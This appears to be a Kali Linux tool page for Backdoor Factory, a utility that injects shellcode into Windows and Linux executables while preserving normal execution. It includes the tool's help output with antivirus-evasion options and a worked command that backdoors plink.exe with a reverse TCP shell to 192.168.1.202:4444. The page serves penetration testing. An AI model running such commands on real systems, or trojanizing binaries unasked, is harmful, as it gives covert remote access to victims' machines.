Backdoor Factory Package Description

The goal of BDF is patch executable binaries with user desidered shellcode and continue normal execution of the prepatched state.

Supporting: Windows PE x32/x64 and Linux ELF x32/x64 (System V)

Some executables have built in protections, as such this will not work on all binaries. It is advisable that you test target binaries before deploying them to clients or using them in exercises.

Source: https://github.com/secretsquirrel/the-backdoor-factory/
backdoor-factory HomepageKali backdoor-factory Repo

  • Author: Joshua Pitts
  • License: GPLv3

Tools included in the backdoor-factory package

backdoor-factory – Patch win32/64 binaries with shellcode
[email protected]:~# backdoor-factory
-.(`-')  (`-')  _           <-.(`-') _(`-')                            (`-')
__( OO)  (OO ).-/  _         __( OO)( (OO ).->     .->        .->   <-.(OO )
'-'---.\  / ,---.   \-,-----.'-'. ,--.\    .'_ (`-')----. (`-')----. ,------,)
| .-. (/  | \ /`.\   |  .--./|  .'   /'`'-..__)( OO).-.  '( OO).-.  '|   /`. '
| '-' `.) '-'|_.' | /_) (`-')|      /)|  |  ' |( _) | |  |( _) | |  ||  |_.' |
| /`'.  |(|  .-.  | ||  |OO )|  .   ' |  |  / : \|  |)|  | \|  |)|  ||  .   .'
| '--'  / |  | |  |(_'  '--'\|  |\   \|  '-'  /  '  '-'  '  '  '-'  '|  |\  \
`------'  `--' `--'   `-----'`--' '--'`------'    `-----'    `-----' `--' '--'
           (`-')  _           (`-')                   (`-')
   <-.     (OO ).-/  _        ( OO).->       .->   <-.(OO )      .->
(`-')-----./ ,---.   \-,-----./    '._  (`-')----. ,------,) ,--.'  ,-.
(OO|(_\---'| \ /`.\   |  .--./|'--...__)( OO).-.  '|   /`. '(`-')'.'  /
 / |  '--. '-'|_.' | /_) (`-')`--.  .--'( _) | |  ||  |_.' |(OO \    /
 \_)  .--'(|  .-.  | ||  |OO )   |  |    \|  |)|  ||  .   .' |  /   /)
  `|  |_)  |  | |  |(_'  '--'\   |  |     '  '-'  '|  |\  \  `-/   /`
   `--'    `--' `--'   `-----'   `--'      `-----' `--' '--'   `--'

         Author:    Joshua Pitts
         Email:     the.midnite.runr[a t]gmail<d o t>com
         Twitter:   @midnite_runr

         v2.0.6

Usage: backdoor.py [options]

Options:
  -h, --help            show this help message and exit
  -f FILE, --file=FILE  File to backdoor
  -s SHELL, --shell=SHELL
                        Payloads that are available for use.
  -H HOST, --hostip=HOST
                        IP of the C2 for reverse connections
  -P PORT, --port=PORT  The port to either connect back to for reverse shells
                        or to listen on for bind shells
  -J, --cave_jumping    Select this options if you want to use code cave
                        jumping to further hide your shellcode in the binary.
  -a, --add_new_section
                        Mandating that a new section be added to the exe
                        (better success) but less av avoidance
  -U SUPPLIED_SHELLCODE, --user_shellcode=SUPPLIED_SHELLCODE
                        User supplied shellcode, make sure that it matches the
                        architecture that you are targeting.
  -c, --cave            The cave flag will find code caves that can be used
                        for stashing shellcode. This will print to all the
                        code caves of a specific size.The -l flag can be use
                        with this setting.
  -l SHELL_LEN, --shell_length=SHELL_LEN
                        For use with -c to help find code caves of different
                        sizes
  -o OUTPUT, --output-file=OUTPUT
                        The backdoor output file
  -n NSECTION, --section=NSECTION
                        New section name must be less than seven characters
  -d DIR, --directory=DIR
                        This is the location of the files that you want to
                        backdoor. You can make a directory of file backdooring
                        faster by forcing the attaching of a codecave to the
                        exe by using the -a setting.
  -w, --change_access   This flag changes the section that houses the codecave
                        to RWE. Sometimes this is necessary. Enabled by
                        default. If disabled, the backdoor may fail.
  -i, --injector        This command turns the backdoor factory in a hunt and
                        shellcode inject type of mechinism. Edit the target
                        settings in the injector module.
  -u SUFFIX, --suffix=SUFFIX
                        For use with injector, places a suffix on the original
                        file for easy recovery
  -D, --delete_original
                        For use with injector module.  This command deletes
                        the original file.  Not for use in production systems.
                        *Author not responsible for stupid uses.*
  -O DISK_OFFSET, --disk_offset=DISK_OFFSET
                        Starting point on disk offset, in bytes. Some authors
                        want to obfuscate their on disk offset to avoid
                        reverse engineering, if you find one of those files
                        use this flag, after you find the offset.
  -S, --support_check   To determine if the file is supported by BDF prior to
                        backdooring the file. For use by itself or with
                        verbose. This check happens automatically if the
                        backdooring is attempted.
  -q, --no_banner       Kills the banner.
  -v, --verbose         For debug information output.

backdoor-factory Usage Example

Specify the binary to backdoor (-f /usr/share/windows-binaries/plink.exe), set the connect-back IP (-H 192.168.1.202), the connect-back port (-P 4444), and the shell to use (-s reverse_shell_tcp):

[email protected]:~# backdoor-factory -f /usr/share/windows-binaries/plink.exe -H 192.168.1.202 -P 4444 -s reverse_shell_tcp
__________                __       .___                  
\______   \_____    ____ |  | __ __| _/____   ___________
 |    |  _/\__  \ _/ ___\|  |/ // __ |/  _ \ /  _ \_  __ \
 |    |   \ / __ \\  \___|    </ /_/ (  <_> |  <_> )  | \/
 |______  /(____  /\___  >__|_ \____ |\____/ \____/|__|  
        \/      \/     \/     \/    \/                    
___________              __                              
\_   _____/____    _____/  |_  ___________ ___.__.        
 |    __) \__  \ _/ ___\   __\/  _ \_  __ <   |  |        
 |     \   / __ \\  \___|  | (  <_> )  | \/\___  |        
 \___  /  (____  /\___  >__|  \____/|__|   / ____|        
     \/        \/     \/                   \/            

         Author:    Joshua Pitts
         Email:     the.midnite.runr[a t]gmail<d o t>com
         Twitter:   @midnite_runr
         
         v2.0.6
         
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 358
[*] All caves lengths:  (358,)
############################################################
The following caves can be used to inject code and possibly
continue execution.
**Don't like what you see? Use jump, single, or append.**
############################################################
[*] Cave 1 length as int: 358
[*] Available caves:
1. Section Name: None; Section Begin: None End: None; Cave begin: 0x280 End: 0x1000; Cave Size: 3456
2. Section Name: .text; Section Begin: 0x1000 End: 0x37000; Cave begin: 0x36981 End: 0x37000; Cave Size: 1663
3. Section Name: None; Section Begin: None End: None; Cave begin: 0x47cec End: 0x48004; Cave Size: 792
4. Section Name: .data; Section Begin: 0x48000 End: 0x4a000; Cave begin: 0x48961 End: 0x48b90; Cave Size: 559
5. Section Name: None; Section Begin: None End: None; Cave begin: 0x4907c End: 0x4a00e; Cave Size: 3986
**************************************************
[!] Enter your selection: 2
Using selection: 2
[*] Changing Section Flags
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] /usr/share/windows-binaries/plink.exe backdooring complete
File /usr/share/windows-binaries/plink.exe is in the 'backdoored' directory